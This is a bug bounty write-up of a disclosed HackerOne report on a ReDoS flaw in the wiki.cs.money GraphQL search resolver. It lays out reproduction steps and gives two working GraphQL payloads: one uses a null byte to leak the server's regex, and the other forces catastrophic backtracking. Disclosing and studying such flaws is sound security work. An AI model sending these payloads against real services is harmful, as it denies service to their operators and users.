# ReDoS at wiki.cs.money graphQL endpoint (AND probably a kind of command injection)

GraphQL search resolver interpolated user input into a regex, allowing a ReDoS payload to cause catastrophic backtracking and deny service to wiki.cs.money.

- Payout: $250
- Severity: medium
- Program: CS Money
- Found by: mvm
- Disclosed: 2020-10-27
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1000567
- Library page: https://bugbountylibrary.com/r/h1%3A1000567
- Tags: area:web domain:api domain:web impact:dos kind:bounty platform:hackerone sev:medium tech:graphql technique:source-review vuln:dos

**Target:** wiki.cs.money /graphql search resolver
**Root cause:** The search(q:) parameter is concatenated into a server-side regular expression (e.g. (?=.*<q>)) without escaping, so attacker-controlled regex metacharacters and explosive quantifiers reach the regex engine.
**Steps:**
1. Send a normal query with `search(q: "AAA", lang: "en")` and note the ~264ms tracing duration.
2. Send `search(q: "\u0000)", lang: "en")` to leak the constructed regex via error `value (?=.*\u0000) must not contain null bytes`.
3. Send `search(q: "\u0000)", lang: "en")` variant to leak `Invalid regular expression: /(?=.*X))/: Unmatched ')'`, confirming interpolation.
4. POST the ReDoS payload `search(q: "[a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+\\s?)+$\\", lang: "en")` to /graphql.
5. Compare response time against the baseline to observe catastrophic backtracking.
**How found:** Noticed the GraphQL tracing extension exposed resolver start/end times, then injected a null byte into q to force an error that echoed the surrounding regex, revealing the `(?=.*<q>)` construction and enabling a ReDoS payload.
**Exploitation:** Attacker sends a crafted GraphQL query whose q value contains nested/overlapping quantifiers; the server compiles it into a regex and the engine backtracks exponentially, tying up the resolver and denying service.
**Insight:** GraphQL tracing extensions leak resolver timing—use them to baseline and detect ReDoS; injecting a null byte or unmatched paren into a search param often makes the backend echo its compiled regex, confirming interpolation before crafting an explosive quantifier payload.

## Proof of concept (copied exactly from the original report)

**GraphQL regex bomb search payload**

```
query a { 
  search(q: "[a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+\\s?)+$\\", lang: "en") {
    _id
   weapon_id
    rarity
    collection{ _id name }
    collection_id 
 }
}
```

**Null byte payload revealing regex**

```
query a { 
  search(q: "\u0000)", lang: "en") {
    _id
   weapon_id
    rarity
    collection{ _id name }
    collection_id  
 }
}
```

